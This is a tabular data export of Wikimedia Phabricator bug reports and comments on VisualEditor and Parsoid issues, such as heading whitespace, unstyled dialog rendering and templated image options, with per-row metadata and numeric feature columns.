51431,VisualEditor: Grunt leaves behind temporary html file if tests fail,"modules/ve/test/index-phantomjs-tmp.html is not deleted if the tests fail.

--------------------------
**Version**: unspecified
**Severity**: trivial",Medium,50.0,1370954520,1371495128.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sit6vtslr7r2fqfrzugp,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7837837837837838,0.6756756756756757,"modules/ve/test/index-phantomjs-tmp.html is not deleted if the tests fail.

--------------------------
**Version**: unspecified
**Severity**: trivial"
253197,VisualEditor: Grunt leaves behind temporary html file if tests fail,Related URL: https://gerrit.wikimedia.org/r/68631 (Gerrit Change I5079d00a63d43276a12dd78c306bb3819470631d),,,1371209624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sit6vtslr7r2fqfrzugp,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5079d00a63d43276a12dd78c306bb3819470631d)
51429,VisualEditor: Adding a new heading should add a newline before the heading too,"I think it is standard in in (all?) Wikipedias to add a newline before adding a new heading.

This is currently not done by the VisualEditor, see URL.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://de.wikipedia.org/w/index.php?title=Benutzer:Raymond/heading&diff=119444892&oldid=119444326",Medium,50.0,1370952120,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-2qasjtis6bukznlqh6fa,task_description,open,True,c1,2,False,False,,-3,,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,8.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.4918032786885247,0.639344262295082,"I think it is standard in in (all?) Wikipedias to add a newline before adding a new heading.

This is currently not done by the VisualEditor, see URL.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
253137,VisualEditor: Adding a new heading should add a newline before the heading too,"Roan - I guess we could do this at our end, or as a ""default whitespace"" rule in Parsoid. Which do you think makes most sense?",,,1371157225,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2qasjtis6bukznlqh6fa,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,10.0,3.0,3.0,6.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.2580645161290325,0.9354838709677419,"Roan - I guess we could do this at our end, or as a ""default whitespace"" rule in Parsoid. Which do you think makes most sense?"
51428,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","Steps to reproduce:

1. Go into a heading

2. Change heading level from 2 to 3 (i.e.)

Expected output: Only the number of = should change

Actual output: Number of = is changed correctly but the newline before the heading is moved under the heading now.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://de.wikipedia.org/w/index.php?title=Benutzer:Raymond/heading&diff=119444161&oldid=119444142",Medium,50.0,1370950980,1372103155.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-4rqn2y6kag5uml6nligz,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,13.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,3.5952380952380953,0.5595238095238095,"Steps to reproduce:

1. Go into a heading

2. Change heading level from 2 to 3 (i.e.)

Expected output: Only the number of = should change

Actual output: Number of = is changed correctly but the newline before the heading is moved under the heading now.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
253086,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)",Fix deployed.,,,1372103155,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fix deployed.
253081,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)",https://gerrit.wikimedia.org/r/70214 (Gerrit Change Id8e5b87602e3ba0f0e1cf6b5c6e03f4949e7d053) | change APPROVED and MERGED [by jenkins-bot],,,1372100461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change Id8e5b87602e3ba0f0e1cf6b5c6e03f4949e7d053) | change APPROVED and MERGED [by jenkins-bot]
253077,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)",Related URL: https://gerrit.wikimedia.org/r/70214 (Gerrit Change Id8e5b87602e3ba0f0e1cf6b5c6e03f4949e7d053),,,1372095883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Id8e5b87602e3ba0f0e1cf6b5c6e03f4949e7d053)
253072,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","(In reply to comment #3)
> I believe they have a default whitespace setting that could fix this so this
> could be raised as a Parsoid bug.

Marking as such.",,,1372016595,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.823529411764706,0.8823529411764706,"(In reply to comment #3)
QUOTE
QUOTE

Marking as such."
253067,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","On a separate note, the standard spacing around headings (on en.wiki at least) appears to be:

Foo

==Bar==
Baz

Where Parsoid renders:

Foo
==Bar==
Baz

I believe they have a default whitespace setting that could fix this so this could be raised as a Parsoid bug.",,,1372016463,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,3.0,17.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,2.0,0.0,2.0,0.0,3.546875,0.703125,"On a separate note, the standard spacing around headings (on en.wiki at least) appears to be:

Foo

==Bar==
Baz

Where Parsoid renders:

Foo
==Bar==
Baz

I believe they have a default whitespace setting that could fix this so this could be raised as a Parsoid bug."
253063,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","Replacing a heading is the same a removing the old one and inserting a new one (transactionally speaking), so all the (non visible) whitespace information will be lost.

The output on the right is what you'd get if you created the document from scratch and as you are making structural changes, rather than changes within a paragraph, it is arguably by design that we throw away any old quirks in the wikitext for that section.",,,1372016204,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,6.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,2.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,12.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,5.0,0.0,6.0,0.0,0.0,0.0,4.116279069767442,0.7441860465116279,"Replacing a heading is the same a removing the old one and inserting a new one (transactionally speaking), so all the (non visible) whitespace information will be lost.

The output on the right is what you'd get if you created the document from scratch and as you are making structural changes, rather than changes within a paragraph, it is arguably by design that we throw away any old quirks in the wikitext for that section."
253060,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","Indeed; a newline above or below a heading will be trimmed when the heading is changed in some manner. Is this Parsoid's behaviour?

https://www.mediawiki.org/w/index.php?title=VisualEditor:Bug_49428&diff=715815&oldid=715814",,,1372008424,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,14.0,3.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.9310344827586206,0.9310344827586207,"Indeed; a newline above or below a heading will be trimmed when the heading is changed in some manner. Is this Parsoid's behaviour?

URL"
51420,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"Instead of ""Foo v"" you get ""Foo
v"" - dialog contents render before they're styled because the CSS is slow in coming in (per Roan).

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1370912280,1493662142.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-yt5y3btrqqtcxanvipk4,task_description,invalid,True,c1,2,True,True,False,-3,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4423076923076925,0.6923076923076923,"Instead of ""Foo v"" you get ""Foo
v"" - dialog contents render before they're styled because the CSS is slow in coming in (per Roan).

--------------------------
**Version**: unspecified
**Severity**: normal"
852196,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"The code to which this refers has been since adjusted, and I think this is now long-fixed.",,,1493662142,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yt5y3btrqqtcxanvipk4,task_subcomment,,True,c1,3,True,,,200,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.9523809523809523,"The code to which this refers has been since adjusted, and I think this is now long-fixed."
252567,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"Per Timo:

| Most likely cause of meta dialog's flash of unstyled content:
|
| ve.ui.Dialog.js:
|   ""ve.ui.Dialog.static.addLocalStylesheets( [ 've.ui.Dialog.css' ] );""",,,1371579540,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yt5y3btrqqtcxanvipk4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.871794871794872,0.7435897435897436,"Per Timo:

| Most likely cause of meta dialog's flash of unstyled content:
|
| ve.ui.Dialog.js:
|   ""ve.ui.Dialog.static.addLocalStylesheets( [ 've.ui.Dialog.css' ] );"""
252564,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"So there are two somewhat separate (but possibly connected issues) here. One is that, when you load the category dialog on a cold cache (try incognito window) in Chrome, the dialog contents are displayed before they're styled. I can reproduce this on mw.org but not on localhost, presumably because localhost delivers the CSS really fast.

The rendering bug that James is talking about, with the arrow appearing on the next line, only happens in Chrome and only when the flash of unstyled content also happens.

It would be nice if we could block showing the dialog on the CSS loading. The way we load CSS into the dialog iframes should probably be reconsidered anyway.",,,1370966116,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-yt5y3btrqqtcxanvipk4,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,1.5,0.5,3.5,1.5,0.5,0.0,1.0,1.5,0.5,0.0,2.0,0.5,2.0,0.0,9.0,9.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,1.0,6.0,1.0,1.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,15.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,4.0,8.0,3.0,2.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,4.0,9.5,3.0,0.0,0.0,0.0,4.0,0.0,2.0,0.5,0.0,2.5,0.0,0.0,0.0,4.227272727272727,0.7651515151515151,"So there are two somewhat separate (but possibly connected issues) here. One is that, when you load the category dialog on a cold cache (try incognito window) in Chrome, the dialog contents are displayed before they're styled. I can reproduce this on mw.org but not on localhost, presumably because localhost delivers the CSS really fast.

The rendering bug that James is talking about, with the arrow appearing on the next line, only happens in Chrome and only when the flash of unstyled content also happens.

It would be nice if we could block showing the dialog on the CSS loading. The way we load CSS into the dialog iframes should probably be reconsidered anyway."
51400,Images: Handle templated image options containing pipes,"Some perverse templates such as {{Largethumb}} return a string with several options separated by pipes (""thumb|<number>px""). In the PHP parser those pipes are then picked up by the link regexp, so result in the regular image options.

In our attribute handling we expand attributes separately, so can end up with strings like the above in a single attribute value. In [[:de:Portal:Thüringen]] for example that is the case for the href attribute, which then caused a crash after retrieving image properties.

We will likely need to handle expanded attributes containing a pipe properly by re-parsing their string representation. This will be difficult to map onto our current template-affected attribute handling.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1370889600,1586539013.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_description,resolved,True,c1,2,True,False,False,-3,,1.0,0.0,0.0,0.5,0.0,6.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,1.0,3.5,12.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,3.0,0.5,0.5,0.0,0.5,0.0,14.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.5,1.5,7.0,0.5,0.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,12.0,3.5,0.0,1.0,0.0,3.0,0.0,1.0,2.0,0.0,3.5,0.0,0.0,2.0,4.2375,0.74375,"Some perverse templates such as {{Largethumb}} return a string with several options separated by pipes (""thumb|<number>px""). In the PHP parser those pipes are then picked up by the link regexp, so result in the regular image options.

In our attribute handling we expand attributes separately, so can end up with strings like the above in a single attribute value. In [[:de:Portal:Thüringen]] for example that is the case for the href attribute, which then caused a crash after retrieving image properties.

We will likely need to handle expanded attributes containing a pipe properly by re-parsing their string representation. This will be difficult to map onto our current template-affected attribute handling.

--------------------------
**Version**: unspecified
**Severity**: normal"
1482590,Images: Handle templated image options containing pipes,"Parsoid supports templated image options. Editability in VE of these is not a Parsoid issue. But, since then, the largethumb issues have been resolved differently and VE has been enabled on nlwiki. 
Other missing functionality is tracked in their own bugs (ex: T88040). So, resolving this.
",,,1586539013,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,353,,0.0,0.0,0.0,5.0,2.0,7.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,7.0,15.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.1525423728813555,0.7966101694915254,"Parsoid supports templated image options. Editability in VE of these is not a Parsoid issue. But, since then, the largethumb issues have been resolved differently and VE has been enabled on nlwiki. 
Other missing functionality is tracked in their own bugs (ex: T88040). So, resolving this.
"
569742,Images: Handle templated image options containing pipes,"The current name of this ticket ""Images: Handle templated image options containing pipes"" suggests that handling templated image options or image options without pipes would work. They don't. Consider renaming to ""Images: Handle templated image options"".

On nl.wp largethumb==""260px|thumb"". Creating a single option template like large==""260px"" would change [[file.foo.jpg|{{largethumb}}]] into [[file.foo.jpg|{{large}}|thumb]]. The first isn't editable in VE. The latter isn't editable in VE either, though the template contains only  a single attribute, and does not contain pipes. ",,,1448822406,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,125,,0.0,0.0,0.0,0.0,3.5,6.5,2.0,0.0,1.0,0.0,2.0,2.5,0.0,1.0,0.0,0.0,0.5,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,4.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,4.5,2.0,8.0,1.5,1.5,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,7.0,3.5,0.0,3.5,0.0,0.5,0.0,0.0,1.5,0.0,2.0,0.0,0.0,5.5,4.667676767676768,0.6698653198653199,"The current name of this ticket ""Images: Handle templated image options containing pipes"" suggests that handling templated image options or image options without pipes would work. They don't. Consider renaming to ""Images: Handle templated image options"".

On nl.wp largethumb==""260px|thumb"". Creating a single option template like large==""260px"" would change [[file.foo.jpg|{{largethumb}}]] into [[file.foo.jpg|{{large}}|thumb]]. The first isn't editable in VE. The latter isn't editable in VE either, though the template contains only  a single attribute, and does not contain pipes. "
548278,Images: Handle templated image options containing pipes,"As stated in T51400#579910, Parsoid has implemented solution 1 which has been live in production since February 2014. This prevents largethumb images from being edited in VisualEditor and also ensures that those images roundtrip correctly.

If {T88040} is resolved, we could potentially unblock the editing support for these images -- to be investigated.  Other possibilities for dealing with largethumb have been discussed in comments above (T51400#579925, T51400#1071119). In addition, as far as I know, VE does not yet support editing of templated-affected attributes. So, that editing support would have to be added to VE before these images with template-generated attributes can be edited.

So, TL:DR; is that the status quo seems fine for enabling VE, i.e .this task should no longer be a blocker. It prevents editing of these largethumb-marked images in VE, but it shouldn't corrupt those pages either, nor should it block editing of other parts of the page.",,,1445266289,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,120,,0.0,0.0,0.0,3.0,1.0,3.5,1.5,0.0,0.0,0.5,4.5,0.5,0.0,0.0,0.0,1.0,0.0,6.5,14.5,0.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,6.0,1.0,1.5,1.5,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,12.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.5,11.5,2.5,1.5,5.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,14.5,7.0,0.0,0.0,0.0,3.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,4.397849462365592,0.7473118279569892,"As stated in T51400#579910, Parsoid has implemented solution 1 which has been live in production since February 2014. This prevents largethumb images from being edited in VisualEditor and also ensures that those images roundtrip correctly.

If {T88040} is resolved, we could potentially unblock the editing support for these images -- to be investigated.  Other possibilities for dealing with largethumb have been discussed in comments above (T51400#579925, T51400#1071119). In addition, as far as I know, VE does not yet support editing of templated-affected attributes. So, that editing support would have to be added to VE before these images with template-generated attributes can be edited.

So, TL:DR; is that the status quo seems fine for enabling VE, i.e .this task should no longer be a blocker. It prevents editing of these largethumb-marked images in VE, but it shouldn't corrupt those pages either, nor should it block editing of other parts of the page."
